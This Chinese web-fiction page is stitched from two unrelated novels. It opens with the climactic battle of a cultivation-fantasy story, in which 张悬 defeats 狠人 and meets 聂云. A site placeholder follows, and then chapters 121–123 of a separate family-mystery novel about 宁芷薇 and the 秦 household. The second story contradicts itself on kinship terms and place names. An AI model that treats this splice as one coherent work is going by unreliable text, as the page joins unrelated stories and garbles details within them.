神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 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是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十一章 收拾完厨房,宁芷薇回到房间。秦远霄已经在等她了,手里还捧着一碗热气腾腾的姜汤。 “累了一天,喝点姜汤暖暖身子。”他将碗递给她,眼中满是关切。 宁芷薇接过碗,感受着温热从掌心传来:“谢谢。”简单的两个字,却包含了太多情意。 秦远霄轻轻揉了揉她的太阳穴:“早些休息吧,明天还要准备过年的事。” 宁芷薇点点头,靠在他肩上。窗外传来几声零星的爆竹声,预示着新年即将到来。她知道,有这个家在,未来的日子一定会越来越好。 第二天,五哥夫妇饲养的肉食兔也接连产仔,数量达到二百多只。整个秦家上下一片欢腾,仿佛连空气中都弥漫着喜悦的气息。 转眼间到了除夕,本该是阖家团圆的日子,三哥秦星河却迟迟未归。三嫂心神不宁,连打鸡蛋都将蛋液倒进了垃圾桶,引得其他嫂嫂连连安慰。 “三嫂,别担心,三哥一定会赶回来的。”秦雨澜握住三嫂的手,轻声安慰。 夜幕降临时,秦老夫人张罗着开饭。厨房里飘出阵阵香气,可三嫂却食不知味,目光总是往门外瞟。 突然,院外传来一阵脚步声。秦雪松第一个冲了出去:“三哥!” 门外,秦星河疲惫却精神地站在那里,身上还带着风尘仆仆的气息。 “路上耽搁了些时日。”他轻声解释,眼中带着歉意。 屋内的女眷们闻声而出,看到秦星河时都惊呆了。二嫂掐了掐四嫂的胳膊:“我没看错吧?” 四嫂揉着被掐疼的胳膊:“没看错,是三哥回来了...” 三嫂已经扑进了丈夫怀中,泪如雨下。她紧紧抱着秦星河,仿佛要将这些日子的思念和担忧都倾诉出来。 “别哭,”秦星河轻拍妻子的后背,声音温柔,“我不是回来了嘛?” 其他女眷围着秦老夫人追问详情,院子里一时热闹非凡。 “都进屋说吧,”秦老夫人看着团聚的儿女,眼中含着泪光,“外面冷。” 秦老夫人的话音刚落,众人便簇拥着秦星河进了主屋。暖黄的灯光洒在每个人脸上,映照出他们激动又欣喜的神情。 一家人涌入暖和的屋内,饭菜的香气更浓了。秦星河被簇拥着坐下,三嫂忙不迭地给他布菜,脸上的笑容就没断过。 宁芷薇站在人群边缘,看着眼前这一幕,心中百感交集。记忆中那个意气风发的三哥,如今却是一身风尘仆仆的模样。他的眼角多了几道细纹,眉宇间也添了几分沧桑,但那挺拔的身姿依旧如故。 自打秦星河被传出身死的消息,已经过去将近四年。这四年里,秦家上下无不以泪洗面。每逢佳节,秦老夫人总会在书房里独坐良久,手中捧着秦星河的画像,默默垂泪。 如今一家人终于团聚,这顿年夜饭的意义可想而知。空气中弥漫着一股说不出的温情,连呼吸都变得格外轻柔。 “先吃饭吧,有什么话待会儿慢慢说。”秦老夫人目光在众人脸上扫过,语气温和地说道。她的手指微微颤抖,显然是在强自镇定。 秦远霄立即会意,从座位上站起身来:“我去院子里放鞭炮。”他的声音里带着掩饰不住的兴奋。 很快,噼里啪啦的鞭炮声在院子里此起彼伏地响起。红色的纸屑纷纷扬扬地飘落,像是在为这场久别重逢撒下祝福。 宁芷薇看着满桌的菜肴,都是她精心准备的。从下午开始,她就在厨房里忙活,只为了这一顿团圆饭能够完美。 光是海鲜就有八道:水煮海鲜、辣炒螃蟹、蒜香龙虾、川味皮皮虾、粉丝贝壳、红烧虾仁、香酥鱿鱼、炖海参。每一道都色香味俱全,光是看着就让人食指大动。 再加上八道肉菜:红烧狮子头、糖醋排骨、东坡肘子、京酱肉丝、葱爆羊肉、蒜香牛肉、酱香鸭、白切鸡。荤素搭配,荤中有素,素中有荤,既讲究营养均衡,又不失美味。 几道凉菜和素菜也是精心搭配:凉拌海蜇、老醋花生、拍黄瓜、蒜泥白肉、清炒时蔬、上汤娃娃菜。整整二十多道菜摆得满满当当,香气四溢。 好在她和秦远霄买的餐桌够大,不然还真摆不下这么多菜。宁芷薇暗自庆幸当初选择了这张红木大圆桌,此刻一家人围坐在一起,倒也其乐融融。 宁芷薇偷偷瞄了一眼秦星河,只见他狼吞虎咽地往嘴里扒拉着饭菜。那副模样,哪还有半点世家公子的矜持?想必这些年在外,没少吃苦头。 但是看看其他人,好像也差不多。就连平日里最注重礼仪的庞勇,此刻也顾不上什么形象了。他一手拿着筷子,一手捧着碗,大口大口地扒着饭,脸上满是享受的表情。 宁芷薇看着这一幕,嘴角不自觉地扬起。看来自己的厨艺确实有两下子,能让这些平日里矜持的人也放下架子。 她从界阙里取出特制的橙汁,给几位女眷倒上。清甜的果香立刻弥漫开来,惹得秦老夫人连连称赞。 男人们则是喝着五粮液,推杯换盏间,气氛越发热烈。秦远霄的脸都红了,却依然端着酒杯,时不时和三哥碰一下。 饭后,女眷们收拾碗筷,秦老夫人这才仔细打量起秦星河。只见他一身短打沾满尘土,络腮胡子拉碴,眼角的皱纹里还积着细小的灰尘,哪还有往日的风度翩翩? “这一路想必吃了不少苦。”秦老夫人心疼地说道,声音里带着微微的颤抖。她的手指无意识地摩挲着衣角,显然是在强忍着心疼。 “母亲放心,儿子没事。”秦星河恭敬地回答,声音低沉而沙哑。他的目光闪烁,似乎有什么话想说却又咽了回去。 三嫂适时走了过来,手里端着一套干净的衣物:“夫君,热水已经备好了,你先去洗漱吧。”她的声音轻柔,眼中满是关切。 秦星河点点头,跟着三嫂离开了。他的背影略显疲惫,却依然挺直。 第一百二十二章 半个钟头都不到,一个焕然一新的秦星河出现在众人面前。他换上了一身干净的长袍,胡子也修整得整整齐齐,整个人精神了许多。 宁芷薇不由得愣了一下,这才是记忆中那个风度翩翩的三哥啊。虽然眼角的皱纹依旧在,但少了风尘仆仆的模样,倒是多了几分成熟稳重的气质。 “星河,来娘这儿坐。”秦老夫人拍了拍身边的位置,脸上露出慈爱的笑容。 秦雨澜连忙给三哥倒了杯茶,热气腾腾的茶香在空气中缓缓飘散。 秦星河接过茶杯,抿了一口,目光变得深邃起来。他缓缓开口道:“我离开盐泊后就去了东陲。” “那里的养蛊人隐藏得很深,与普通人无异。他们白天做着普通人的营生,晚上却在暗处养蛊。要不是我无意中发现一些蛛丝马迹,恐怕至今都发现不了他们的踪迹。” “经过打探,我得知东陲有个叫沧澜山庄的地方,是养蛊圣地。那里地势险要,易守难攻,外人根本无法靠近。” “他们的创建者被称为沧澜先生,据说此人精通蛊术,在东陲一带颇有威名。” 宁芷薇注意到,在听到“沧澜”二字时,秦老夫人的眉头微微蹙了一下,眼中闪过一丝不易察觉的异样。这个细节,让她心中升起一丝疑惑。 她悄悄打量着秦老夫人的表情,只见老夫人的手指微微颤抖,脸色也略显苍白。显然,“沧澜”这个名字对她来说并不陌生,甚至可能藏着什么不为人知的秘密。 她转而看向秦星河,声音轻柔却带着不容忽视的坚定:“三哥,那些被抓住的人,可曾透露山庄留守人员的情况?沧澜先生的下落呢?” 秦星河放下手中的茶盏,眉头紧锁。他站起身,在房间里来回踱步,仿佛这样能让思绪更加清晰。“我都问过了,”他停下脚步,揉了揉发胀的太阳穴,“山庄里加上他一共六人。至于沧澜先生,那人说自己地位太低,根本接触不到。不过倒是听说,沧澜先生每年七月都会去永安西陲。” 这个消息让屋内众人神色各异。宁芷薇若有所思地看向秦老夫人,手指不自觉地摩挲着茶杯边缘:“娘,当年爹意外杀死钱荷,是在七月吗?” “正是七月。”秦老夫人的声音略显沙哑,眼神中闪过一丝追忆。话音未落,秦远霄已经从椅子上站了起来,木质的椅脚在地板上发出刺耳的摩擦声。 “这么说,沧澜先生很可能就是当年那个爱慕钱荷的世家公子!”秦远霄的声音里带着几分激动。他快步走到窗边,望着外面纷飞的雪花,似乎在思索着什么。 屋内一时陷入沉默。炭火发出轻微的噼啪声,为这凝重的气氛增添了几分温度。宁芷薇端起茶杯,热气氤氲中,她的思绪不断翻涌。东陲之行势在必行,不仅为了寻找大哥二哥的下落,还要为古玩鉴赏家寻找黑色东珠,以及给几位嫂嫂找解药凤羽。 她放下茶杯,瓷器与木桌相碰发出清脆的声响。“我觉得,我们可以等到七月去玄陲看看。”她缓缓开口,目光扫过在座每个人的脸庞,“当然,东陲那边也不能放松。不过东陲养蛊人众多,需要做好万全准备。” “可是拖得越久,大哥二哥就越危险。”秦雪松猛地站起身,脸上写满焦虑。他的手紧紧攥着衣袖,指节发白。 宁芷薇看着他这副模样,心中一软。她理解兄长的心情,可理智告诉她,此时贸然行动反而会打草惊蛇。沧澜先生若真是风渠的师父,知道风渠已死,必定会提高警惕。 “八哥,你还要去衙门当值,东陲的事就交给我和远霄去办吧。”她的声音温和却坚定。 话音刚落,秦星河和秦瑾高几乎是同时从座位上弹起。“我们也要去!”两人异口同声,语气中带着不容置疑的坚决。 庞勇等人也纷纷站起身,七嘴八舌地表示要同行。屋内一时喧闹起来,每个人都想为寻找兄长出一份力。 宁芷薇余光瞥见秦远霄微皱的眉头,心下了然。她知道,自己身上有太多秘密,带太多人反而不便。何况东陲地势复杂,人多未必是好事。 “此行主要是打探消息,人多反而惹眼。”秦远霄的声音压过嘈杂,沉稳有力,“我和薇薇改换装扮去最为稳妥。” 几个兄弟还要争辩,秦老夫人却已经开口:“就依远霄的意思。”她的目光慈爱地扫过在座的儿女们,“不过要等过了年再动身,遇到危险也不要恋战。” 太奶奶霸气拍板,事情就这么定了下来。屋内的气氛渐渐平复,只剩下炭火的噼啪声和窗外的风声。 宁芷薇看着大嫂二嫂强忍泪水的样子,心中一阵酸涩。她知道,这对两位嫂嫂来说是怎样的煎熬。等问完话后,两位嫂嫂终于在房中抱头痛哭,压抑已久的情绪终于得到释放。 宁芷薇站在窗前,凝视着院中那株正值盛开的海棠。花瓣在微风中轻颤,仿佛在诉说着什么不为人知的秘密。她的手指无意识地摩挲着窗框,思绪飘向了刚才在大厅中的那场谈话。 “微儿。” 秦远霄的声音从身后传来,温柔而沉稳。宁芷薇转过身,看到丈夫正站在门口,眉宇间带着一丝忧虑。 “远霄。”她轻声唤道,嘴角勾起一抹浅笑,“你来了。” 秦远霄走到她身边,顺着她的目光望向院中的海棠。“在想什么?” 宁芷薇沉默片刻,才缓缓开口:“我在想,这次的事情恐怕没那么简单。” 秦远霄轻轻揽住她的肩膀,“你是担心大哥二哥的安危?” “不仅如此。”宁芷薇摇了摇头,“我总觉得,这背后还有更大的阴谋。” 秦远霄的眉头微微皱起,“你是说,除了沧澜之外,还有其他人在暗中操控?” “也许吧。”宁芷薇叹了口气,“但这只是我的猜测,没有任何证据。” 就在这时,一阵急促的脚步声从外面传来。秦星河匆匆走进院子,脸上带着一丝焦急。 “九弟,弟妹。”他快步走到两人面前,“刚刚得到消息,东陲那边有了新的动静。” 宁芷薇和秦远霄对视一眼,都从对方眼中看到了一丝警惕。 “什么消息?”秦远霄沉声问道。 第一百二十三章 秦星河压低了声音,“据说有人在东陲边境看到了一支神秘队伍,他们携带着大量物资,似乎是要进入深山。” 宁芷薇眼中闪过一丝精光,“可有人跟踪?” 秦星河摇了摇头,“那支队伍行踪诡秘,我们的人跟丢了。但根据目击者的描述,队伍中似乎有人精通蛊术。” “蛊术......”宁芷薇喃喃自语,突然想到了什么,“三哥,你还记得当初在沧澜山庄发现的那些奇怪的痕迹吗?” 秦星河一愣,随即恍然大悟,“你是说,那些痕迹可能与蛊虫有关?” 宁芷薇点点头,“很有可能。如果真是这样,那么这支神秘队伍与沧澜山庄的事情,恐怕有着千丝万缕的联系。” 秦远霄的眼中闪过一丝凌厉,“看来,我们必须尽快采取行动了。” 就在这时,院外又传来一阵脚步声。秦雪松急匆匆地跑了进来,脸上带着一丝惊慌。 “九哥,九嫂!”他气喘吁吁地说道,“刚刚收到消息,有人在城外发现了一具尸体,疑似是当初跟随大哥二哥出门的一名侍卫!” 这个消息如同一道惊雷,瞬间击中了在场的每一个人。宁芷薇感到一阵眩晕,她下意识地抓住了秦远霄的手臂。 秦远霄的脸色瞬间变得铁青,“确定是我们的人吗?” 秦雪松点点头,“虽然尸体已经腐烂,但从衣着和随身物品来看,应该错不了。” 宁芷薇深吸一口气,强迫自己冷静下来。“四哥,尸体在哪里?我们得亲自去看看。” 秦雪松犹豫了一下,“尸体已经被送到了城郊的一处庄子里,母亲派人严加看管,不让外人靠近。” 秦远霄点点头,“好,我们这就过去。” 四人迅速离开院子,朝城郊赶去。一路上,宁芷薇的心中充满了不安。这具尸体的出现,无疑是一个不祥之兆。大哥二哥的下落依然成谜,而现在又多了一具疑似侍卫的尸体,这一切都预示着事情正在朝着最坏的方向发展。 到达庄子时,天色已经完全暗了下来。秦老夫人早已在此等候,看到几人到来,她的眼中闪过一丝欣慰。 “来得正好。”秦老夫人低声说道,“尸体就在里面,你们进去看看吧。” 宁芷薇深吸一口气,跟随秦远霄走进了房间。一股浓重的腐臭味扑面而来,她不由得皱起眉头,用袖子掩住口鼻。 尸体被放置在一张木板上,已经腐烂得不成人形。但从残存的衣物来看,确实与秦家侍卫的装束相似。 秦远霄仔细检查着尸体,突然,他的目光停留在尸体的左手上。“这里......” 宁芷薇凑近看去,只见尸体的左手掌心有一个奇怪的印记,像是被什么东西烙上去的。 “这是......”宁芷薇眯起眼睛,仔细辨认着那个印记。 突然,她的瞳孔猛地收缩,“远霄,你看这个形状,是不是很像......” 秦远霄点点头,脸色变得异常凝重,“没错,这就是东陲特有的一种蛊虫的形状。” 宁芷薇倒吸一口冷气,“那么,这个人的死......” “很可能与蛊术有关。”秦远霄沉声说道。 两人对视一眼,都从对方眼中看到了深深的忧虑。这个发现,无疑让整个事件变得更加扑朔迷离。 走出房间,宁芷薇向秦老夫人和其他人简要说明了情况。秦老夫人的脸色变得异常严肃。 “看来,事情比我们想象的还要复杂。”秦老夫人沉声说道,“我们必须加快行动了。” 宁芷薇点点头,“母亲说得对。我们需要尽快查清楚东陲那支神秘队伍的来历,同时也要继续追查大哥二哥的下落。” 秦远霄补充道,“我会立即派人加强对沧澜山庄的监视,同时也要密切关注东陲的动向。” 